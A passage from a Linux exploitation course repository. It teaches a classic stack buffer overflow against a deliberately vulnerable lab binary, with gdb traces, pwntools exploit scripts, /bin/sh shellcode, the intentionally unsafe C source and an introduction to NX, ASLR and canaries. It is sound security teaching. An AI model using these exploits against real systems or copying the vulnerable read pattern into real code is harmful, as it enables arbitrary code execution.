'/vagrant/lessons/4_classic_exploitation/build/1_vulnerable' 58 | Arch: i386-32-little 59 | RELRO: Partial RELRO 60 | Stack: No canary found 61 | NX: NX disabled 62 | PIE: No PIE 63 | ``` 64 | 65 | The binary is simple. It reads 100 bytes from stdin into a 16 byte character 66 | buffer and prints the contents of the buffer to the user. On a benign execution, 67 | the behaviour might look like this: 68 | 69 | ```shell 70 | ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ ./1_vulnerable 71 | Hello 72 | Hello 73 | 74 | ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ 75 | ``` 76 | 77 | It is very easy to get the binary to crash. 78 | 79 | ```shell 80 | ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ ./1_vulnerable 81 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 82 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 83 | ��P��� 84 | Segmentation fault (core dumped) 85 | ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ 86 | ``` 87 | 88 | Let's delve into GDB to get the offset we need to place our return address at to 89 | control EIP. 90 | 91 | ```shell 92 | ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ gdb ./1_vulnerable 93 | GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1 94 | Copyright (C) 2016 Free Software Foundation, Inc. 95 | License GPLv3+: GNU GPL version 3 or later 96 | This is free software: you are free to change and redistribute it. 97 | There is NO WARRANTY, to the extent permitted by law. Type "show copying" 98 | and "show warranty" for details. 99 | This GDB was configured as "x86_64-linux-gnu". 100 | Type "show configuration" for configuration details. 101 | For bug reporting instructions, please see: 102 | . 103 | Find the GDB manual and other documentation resources online at: 104 | . 105 | For help, type "help". 106 | Type "apropos word" to search for commands related to "word"... 107 | Reading symbols from ./1_vulnerable...(no debugging symbols found)...done. 108 | gdb-peda$ pattern_create 100 109 | 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' 110 | gdb-peda$ r 111 | Starting program: /vagrant/lessons/4_classic_exploitation/build/1_vulnerable 112 | AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL 113 | AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL 114 | 115 | Program received signal SIGSEGV, Segmentation fault. 116 | 117 | [----------------------------------registers-----------------------------------] 118 | EAX: 0x65 ('e') 119 | EBX: 0x0 120 | ECX: 0xffffffff 121 | EDX: 0xf7fc8870 --> 0x0 122 | ESI: 0xf7fc7000 --> 0x1b1db0 123 | EDI: 0xf7fc7000 --> 0x1b1db0 124 | EBP: 0x44414128 ('(AAD') 125 | ESP: 0xffffd5f0 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 126 | EIP: 0x413b4141 ('AA;A') 127 | EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) 128 | [-------------------------------------code-------------------------------------] 129 | Invalid $PC address: 0x413b4141 130 | [------------------------------------stack-------------------------------------] 131 | 0000| 0xffffd5f0 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 132 | 0004| 0xffffd5f4 ("EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 133 | 0008| 0xffffd5f8 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 134 | 0012| 0xffffd5fc ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 135 | 0016| 0xffffd600 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 136 | 0020| 0xffffd604 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 137 | 0024| 0xffffd608 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 138 | 0028| 0xffffd60c ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 139 | [------------------------------------------------------------------------------] 140 | Legend: code, data, rodata, value 141 | Stopped reason: SIGSEGV 142 | 0x413b4141 in ?? () 143 | gdb-peda$ pattern_offset 0x413b4141 144 | 1094402369 found at offset: 28 145 | gdb-peda$ 146 | ``` 147 | 148 | We can begin writing a skeleton for our exploit. 149 | 150 | ```python 151 | #!/usr/bin/python 152 | 153 | from pwn import * 154 | 155 | def main(): 156 | # Start a process 157 | p = process("../build/1_vulnerable") 158 | 159 | # Create payload 160 | ret_address = 0x41424344 161 | payload = "A"*28 + p32(ret_address) 162 | payload = payload.ljust(100, "\x00") 163 | 164 | # Print the process id 165 | raw_input(str(p.proc.pid)) 166 | 167 | # Send the payload to the binary 168 | p.send(payload) 169 | 170 | # Pass interaction back to the user 171 | p.interactive() 172 | 173 | if __name__ == "__main__": 174 | main() 175 | ``` 176 | 177 | If we run this and attach to the spawned process, we can verify that the program 178 | will crash on the address 0x41424344. 179 | 180 | ```shell 181 | gdb-peda$ attach 9639 182 | Attaching to process 9639 183 | Reading symbols from /vagrant/lessons/4_classic_exploitation/build/1_vulnerable...(no debugging symbols found)...done. 184 | Reading symbols from /lib/i386-linux-gnu/libc.so.6...(no debugging symbols found)...done. 185 | Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done. 186 | gdb-peda$ c 187 | Continuing. 188 | 189 | Program received signal SIGSEGV, Segmentation fault. 190 | [----------------------------------registers-----------------------------------] 191 | EAX: 0x21 ('!') 192 | EBX: 0x0 193 | ECX: 0xffffffff 194 | EDX: 0xf7fc8870 --> 0x0 195 | ESI: 0xf7fc7000 --> 0x1b1db0 196 | EDI: 0xf7fc7000 --> 0x1b1db0 197 | EBP: 0x41414141 ('AAAA') 198 | ESP: 0xffffd640 --> 0x0 199 | EIP: 0x41424344 ('DCBA') 200 | EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) 201 | [-------------------------------------code-------------------------------------] 202 | Invalid $PC address: 0x41424344 203 | [------------------------------------stack-------------------------------------] 204 | 0000| 0xffffd640 --> 0x0 205 | 0004| 0xffffd644 --> 0x0 206 | 0008| 0xffffd648 --> 0x0 207 | 0012| 0xffffd64c --> 0x0 208 | 0016| 0xffffd650 --> 0x0 209 | 0020| 0xffffd654 --> 0x0 210 | 0024| 0xffffd658 --> 0x0 211 | 0028| 0xffffd65c --> 0x0 212 | [------------------------------------------------------------------------------] 213 | Legend: code, data, rodata, value 214 | Stopped reason: SIGSEGV 215 | 0x41424344 in ?? () 216 | gdb-peda$ 217 | ``` 218 | 219 | Next, we need to figure out where should we direct execution to. This would 220 | probably be somewhere in the buffer we write to with the `read()` call. If we 221 | break on the call to `puts()`, we can get a stack address we can use as the 222 | argument. 223 | 224 | ```shell 225 | gdb-peda$ disas vuln 226 | Dump of assembler code for function vuln: 227 | 0x0804843b <+0>: push ebp 228 | 0x0804843c <+1>: mov ebp,esp 229 | 0x0804843e <+3>: sub esp,0x18 230 | 0x08048441 <+6>: sub esp,0x4 231 | 0x08048444 <+9>: push 0x64 232 | 0x08048446 <+11>: lea eax,[ebp-0x18] 233 | 0x08048449 <+14>: push eax 234 | 0x0804844a <+15>: push 0x0 235 | 0x0804844c <+17>: call 0x8048300 236 | 0x08048451 <+22>: add esp,0x10 237 | 0x08048454 <+25>: sub esp,0xc 238 | 0x08048457 <+28>: lea eax,[ebp-0x18] 239 | 0x0804845a <+31>: push eax 240 | 0x0804845b <+32>: call 0x8048310 241 | 0x08048460 <+37>: add esp,0x10 242 | 0x08048463 <+40>: nop 243 | 0x08048464 <+41>: leave 244 | 0x08048465 <+42>: ret 245 | End of assembler dump. 246 | gdb-peda$ del 247 | gdb-peda$ br *0x0804845b 248 | Breakpoint 2 at 0x804845b 249 | gdb-peda$ c 250 | Continuing. 251 | [----------------------------------registers-----------------------------------] 252 | EAX: 0xffffd5f0 ('A' , "DCBA") 253 | EBX: 0x0 254 | ECX: 0xffffd5f0 ('A' , "DCBA") 255 | EDX: 0x64 ('d') 256 | ESI: 0xf7fc7000 --> 0x1b1db0 257 | EDI: 0xf7fc7000 --> 0x1b1db0 258 | EBP: 0xffffd608 ("AAAADCBA") 259 | ESP: 0xffffd5e0 --> 0xffffd5f0 ('A' , "DCBA") 260 | EIP: 0x804845b (: call 0x8048310 ) 261 | EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) 262 | [-------------------------------------code-------------------------------------] 263 | 0x8048454 : sub esp,0xc 264 | 0x8048457 : lea eax,[ebp-0x18] 265 | 0x804845a : push eax 266 | => 0x804845b : call 0x8048310 267 | 0x8048460 : add esp,0x10 268 | 0x8048463 : nop 269 | 0x8048464 : leave 270 | 0x8048465 : ret 271 | Guessed arguments: 272 | arg[0]: 0xffffd5f0 ('A' , "DCBA") 273 | [------------------------------------stack-------------------------------------] 274 | 0000| 0xffffd5e0 --> 0xffffd5f0 ('A' , "DCBA") 275 | 0004| 0xffffd5e4 --> 0xffffd5f0 ('A' , "DCBA") 276 | 0008| 0xffffd5e8 --> 0x64 ('d') 277 | 0012| 0xffffd5ec --> 0xf7e2d0ec (test eax,eax) 278 | 0016| 0xffffd5f0 ('A' , "DCBA") 279 | 0020| 0xffffd5f4 ('A' , "DCBA") 280 | 0024| 0xffffd5f8 ('A' , "DCBA") 281 | 0028| 0xffffd5fc ('A' , "DCBA") 282 | [------------------------------------------------------------------------------] 283 | Legend: code, data, rodata, value 284 | 285 | Thread 1 "1_vulnerable" hit Breakpoint 2, 0x0804845b in vuln () 286 | gdb-peda$ 287 | ``` 288 | 289 | 0xffffd5f0 is the start of buffer the user input is read into. A good place to 290 | jump to would be (0xffffd5f0 + 28 + 4). This lets us put our shellcode right 291 | after the return address. To begin with, we can [test out strategy][3] by 292 | filling that space with 'int 3' instructions (0xcc). 293 | 294 | ```python 295 | #!/usr/bin/python 296 | 297 | from pwn import * 298 | 299 | def main(): 300 | # Start a process 301 | p = process("../build/1_vulnerable") 302 | 303 | # Create payload 304 | ret_address = 0xffffd5f0 + 28 + 4 305 | payload = "A"*28 + p32(ret_address) 306 | payload = payload.ljust(100, "\xcc") 307 | 308 | # Print the process id 309 | raw_input(str(p.proc.pid)) 310 | 311 | # Send the payload to the binary 312 | p.send(payload) 313 | 314 | # Pass interaction back to the user 315 | p.interactive() 316 | 317 | if __name__ == "__main__": 318 | main() 319 | ``` 320 | 321 | Now, we can run this, attach our debugger to the process and see if it breaks. 322 | 323 | ```shell 324 | gdb-peda$ attach 9675 325 | Attaching to process 9675 326 | Reading symbols from /vagrant/lessons/4_classic_exploitation/build/1_vulnerable...(no debugging symbols found)...done. 327 | Reading symbols from /lib/i386-linux-gnu/libc.so.6...(no debugging symbols found)...done. 328 | Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done. 329 | gdb-peda$ c 330 | Continuing. 331 | 332 | Program received signal SIGTRAP, Trace/breakpoint trap. 333 | [----------------------------------registers-----------------------------------] 334 | EAX: 0x65 ('e') 335 | EBX: 0x0 336 | ECX: 0xffffffff 337 | EDX: 0xf7fc8870 --> 0x0 338 | ESI: 0xf7fc7000 --> 0x1b1db0 339 | EDI: 0xf7fc7000 --> 0x1b1db0 340 | EBP: 0x41414141 ('AAAA') 341 | ESP: 0xffffd610 --> 0xcccccccc 342 | EIP: 0xffffd611 --> 0xcccccccc 343 | EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) 344 | [-------------------------------------code-------------------------------------] 345 | => 0xffffd611: int3 346 | 0xffffd612: int3 347 | 0xffffd613: int3 348 | 0xffffd614: int3 349 | [------------------------------------stack-------------------------------------] 350 | 0000| 0xffffd610 --> 0xcccccccc 351 | 0004| 0xffffd614 --> 0xcccccccc 352 | 0008| 0xffffd618 --> 0xcccccccc 353 | 0012| 0xffffd61c --> 0xcccccccc 354 | 0016| 0xffffd620 --> 0xcccccccc 355 | 0020| 0xffffd624 --> 0xcccccccc 356 | 0024| 0xffffd628 --> 0xcccccccc 357 | 0028| 0xffffd62c --> 0xcccccccc 358 | [------------------------------------------------------------------------------] 359 | Legend: code, data, rodata, value 360 | Stopped reason: SIGTRAP 361 | 0xffffd611 in ?? () 362 | gdb-peda$ 363 | ``` 364 | 365 | Taking some shellcode from Aleph One's 'Smashing the Stack for Fun and Profit': 366 | 367 | ```python 368 | shellcode = ("\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" + 369 | "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" + 370 | "\x80\xe8\xdc\xff\xff\xff/bin/sh") 371 | ``` 372 | 373 | Putting it all [together][4]: 374 | 375 | ```python 376 | #!/usr/bin/python 377 | 378 | from pwn import * 379 | 380 | def main(): 381 | # Start a process 382 | p = process("../build/1_vulnerable") 383 | 384 | # Create payload 385 | ret_address = 0xffffd620 + 28 + 4 386 | shellcode = ("\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" + 387 | "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" + 388 | "\x80\xe8\xdc\xff\xff\xff/bin/sh") 389 | payload = "A"*28 + p32(ret_address) 390 | padding_len = 100 - len(payload) - len(shellcode) 391 | payload += "\x90" * padding_len + shellcode 392 | 393 | # Send the payload to the binary 394 | p.send(payload) 395 | 396 | # Pass interaction back to the user 397 | p.interactive() 398 | 399 | if __name__ == "__main__": 400 | main() 401 | ``` 402 | 403 | Running the script. 404 | 405 | ```shell 406 | ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/scripts$ python 3_final.py 407 | [+] Starting local process '../build/1_vulnerable': Done 408 | [*] Switching to interactive mode 409 | AAAAAAAAAAAAAAAAAAAAAAAAAAAA@��\xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90�^\x891��F\x07\x89F\x0c\xb0\x0b\x89��\x8dV\x0c̀1ۉ�@̀���\xff\xff/bin/sh 410 | $ ls -la 411 | total 20 412 | drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 11 23:10 . 413 | drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 11 23:00 .. 414 | -rw-rw-r-- 1 ubuntu ubuntu 462 Jan 11 22:00 1_skeleton.py 415 | -rw-rw-r-- 1 ubuntu ubuntu 471 Jan 11 22:40 2_stackjump.py 416 | -rw-rw-r-- 1 ubuntu ubuntu 697 Jan 11 23:10 3_final.py 417 | $ 418 | [*] Stopped program '../build/1_vulnerable' 419 | ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/scripts$ 420 | ``` 421 | 422 | Note that you might have to adjust the return address as the one on this machine 423 | might not match up to the one on your machines. 424 | 425 | [1]: ./build/1_vulnerable 426 | [2]: ./src/1_vulnerable.c 427 | [3]: ./src/2_stackjump.py 428 | [4]: ./src/3_final.py 429 | -------------------------------------------------------------------------------- /lessons/4_classic_exploitation/scripts/1_skeleton.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | def main(): 6 | # Start a process 7 | p = process("../build/1_vulnerable") 8 | 9 | # Create payload 10 | ret_address = 0x41424344 11 | payload = "A"*28 + p32(ret_address) 12 | payload = payload.ljust(100, "\x00") 13 | 14 | # Print the process id 15 | raw_input(str(p.proc.pid)) 16 | 17 | # Send the payload to the binary 18 | p.send(payload) 19 | 20 | # Pass interaction back to the user 21 | p.interactive() 22 | 23 | if __name__ == "__main__": 24 | main() 25 | -------------------------------------------------------------------------------- /lessons/4_classic_exploitation/scripts/2_stackjump.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | def main(): 6 | # Start a process 7 | p = process("../build/1_vulnerable") 8 | 9 | # Create payload 10 | ret_address = 0xffffd5f0 + 28 + 4 11 | payload = "A"*28 + p32(ret_address) 12 | payload = payload.ljust(100, "\xcc") 13 | 14 | # Print the process id 15 | raw_input(str(p.proc.pid)) 16 | 17 | # Send the payload to the binary 18 | p.send(payload) 19 | 20 | # Pass interaction back to the user 21 | p.interactive() 22 | 23 | if __name__ == "__main__": 24 | main() 25 | -------------------------------------------------------------------------------- /lessons/4_classic_exploitation/scripts/3_final.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | def main(): 6 | # Start a process 7 | p = process("../build/1_vulnerable") 8 | 9 | # Create payload 10 | ret_address = 0xffffd620 + 28 + 4 11 | shellcode = ("\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" + 12 | "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" + 13 | "\x80\xe8\xdc\xff\xff\xff/bin/sh") 14 | payload = "A"*28 + p32(ret_address) 15 | padding_len = 100 - len(payload) - len(shellcode) 16 | payload += "\x90" * padding_len + shellcode 17 | 18 | # Send the payload to the binary 19 | p.send(payload) 20 | 21 | # Pass interaction back to the user 22 | p.interactive() 23 | 24 | if __name__ == "__main__": 25 | main() 26 | -------------------------------------------------------------------------------- /lessons/4_classic_exploitation/src/1_vulnerable.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void vuln() { 5 | char buffer[16]; 6 | read(0, buffer, 100); 7 | puts(buffer); 8 | } 9 | 10 | int main() { 11 | vuln(); 12 | } 13 | -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/aslr1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/aslr1 -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/aslr1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/aslr1.png -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/aslr2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/aslr2 -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/aslr2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/aslr2.png -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/aslr3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/aslr3 -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/aslr3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/aslr3.png -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/aslr4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/aslr4 -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/aslr4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/aslr4.png -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/base: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/base -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/canary1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/canary1 -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/canary1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/canary1.png -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/canary2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/canary2 -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/canary2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/canary2.png -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/canary3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/canary3 -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/canary3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/canary3.png -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/classic1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/classic1 -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/classic1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/classic1.png -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/classic2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/classic2 -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/classic2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/classic2.png -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/classic3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/classic3 -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/classic3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/classic3.png -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/classic4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/classic4 -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/classic4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/classic4.png -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/classic5: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/classic5 -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/classic5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/classic5.png -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/classic6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/classic6 -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/classic6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/classic6.png -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/nx1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/nx1 -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/nx1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/nx1.png -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/nx2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/nx2 -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/nx2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/nx2.png -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/nx3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/nx3 -------------------------------------------------------------------------------- /lessons/5_protections/diagrams/nx3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nnamon/linux-exploitation-course/6b8ca7bf64cc38ba70d08c05390546ca0876d559/lessons/5_protections/diagrams/nx3.png -------------------------------------------------------------------------------- /lessons/5_protections/lessonplan.md: -------------------------------------------------------------------------------- 1 | # Linux Binary Protections 2 | 3 | There are three classes of protection we will be discussing in this section. 4 | 5 | 1. No eXecute Bit 6 | 2. Address Space Layout Randomisation 7 | 3. Stack Canaries 8 | 9 | We will discuss this using visualisations of how a classic exploitation 10 | technique attempt is stopped by the properties of each of the protections. 11 | 12 | ## Classic Exploitation Illustration 13 | 14 | First let's visualise how the stack looks like before a buffer is read into: 15 | 16 | ![Fig 1.1. Clean stack][classic1] 17 | 18 | For clarification, the value of the saved base pointer is 0xbfff0030 and the 19 | value of the return address is 0x080484f0 (an address within the binary). The 20 | numbers are reversed in the visualisation because x86 is a little endian 21 | architecture. 22 | 23 | On a valid run of the program, the buffer is filled within its bounds. Here we 24 | have 15 As and a null byte written to the 16 length buffer. 25 | 26 | ![Fig 1.2. Within the bounds][classic2] 27 | 28 | However, since the read allows for the program to read more than 16 bytes into 29 | the buffer, we can overflow it and overwrite the saved return pointer. 30 | 31 | ![Fig 1.3. Overwriting the saved return pointer][classic3] 32 | 33 | When the function returns, the program will crash since the instruction pointer 34 | is set to 0x41414141, an invalid address. 35 | 36 | To complete the technique, the attacker will fill the first part of the buffer 37 | with the shellcode, append the appropriate padding and overwrite the saved 38 | return pointer with the address of the buffer. 39 | 40 | [//]: # (![Fig 1.4. Shellcode and padding][classic4]) 41 | 42 | ![Fig 1.5. Overwrite the saved return pointer with buffer address][classic5] 43 | 44 | Now, when the function returns, the program will begin executing the shellcode 45 | contained in the buffer since the saved return pointer was overwritten by the 46 | buffer address (0xbfff0000). From this point onwards, the attacker has achieved 47 | arbitrary code execution. 48 | 49 | ![Fig 1.6. Arbitrary code execution][classic6] 50 | 51 | 52 | ## ASLR, NX, and Stack Canaries 53 | 54 | Now that we understand how the classic exploitation technique works, let us 55 | start introducing protections and observing how they prevent the technique from 56 | working. 57 | 58 | ### No eXecute (NX) 59 | 60 | Also known as Data Execution Prevention (DEP), this protection marks writable 61 | regions of memory as non-executable. This prevents the processor from executing 62 | in these marked regions of memory. 63 | 64 | If we look at the memory map of a program compiled with NX protection, the stack 65 | and heap are typically marked non-executable. 66 | 67 | In the following diagrams, we will be introducing a new indicator colour for the 68 | memory regions to denote 'writable and non-executable' mapped regions. Firstly, 69 | the stack before the read occurs looks like this: 70 | 71 | ![Fig 2.1. Stack marked non-executable][nx1] 72 | 73 | When we perform the same attack, the buffer is overrun and the saved pointers 74 | are overwritten once again. 75 | 76 | ![Fig 2.2. Attack performed][nx2] 77 | 78 | After the function returns, the program will set the instruction pointer to 79 | 0xbfff0000 and attempt to execute the instructions at that address. However, 80 | since the region of memory mapped at that address has no execution permissions, 81 | the program will crash. 82 | 83 | ![Fig 2.3. Non-executable memory violation][nx3] 84 | 85 | Thus, the attacker's exploit is thwarted. 86 | 87 | ### Address Space Layout Randomisation 88 | 89 | This protection randomises the addresses of the memory regions where the shared 90 | libraries, stack, and heap are mapped at. The reason for this is to frustrate an 91 | attacker since they cannot predict with certainty where their payload is located 92 | at and the exploit will not work reliably. 93 | 94 | On the first run of the program, the stack looks like this just before the read: 95 | 96 | ![Fig 3.1. Initial run 1][aslr1] 97 | 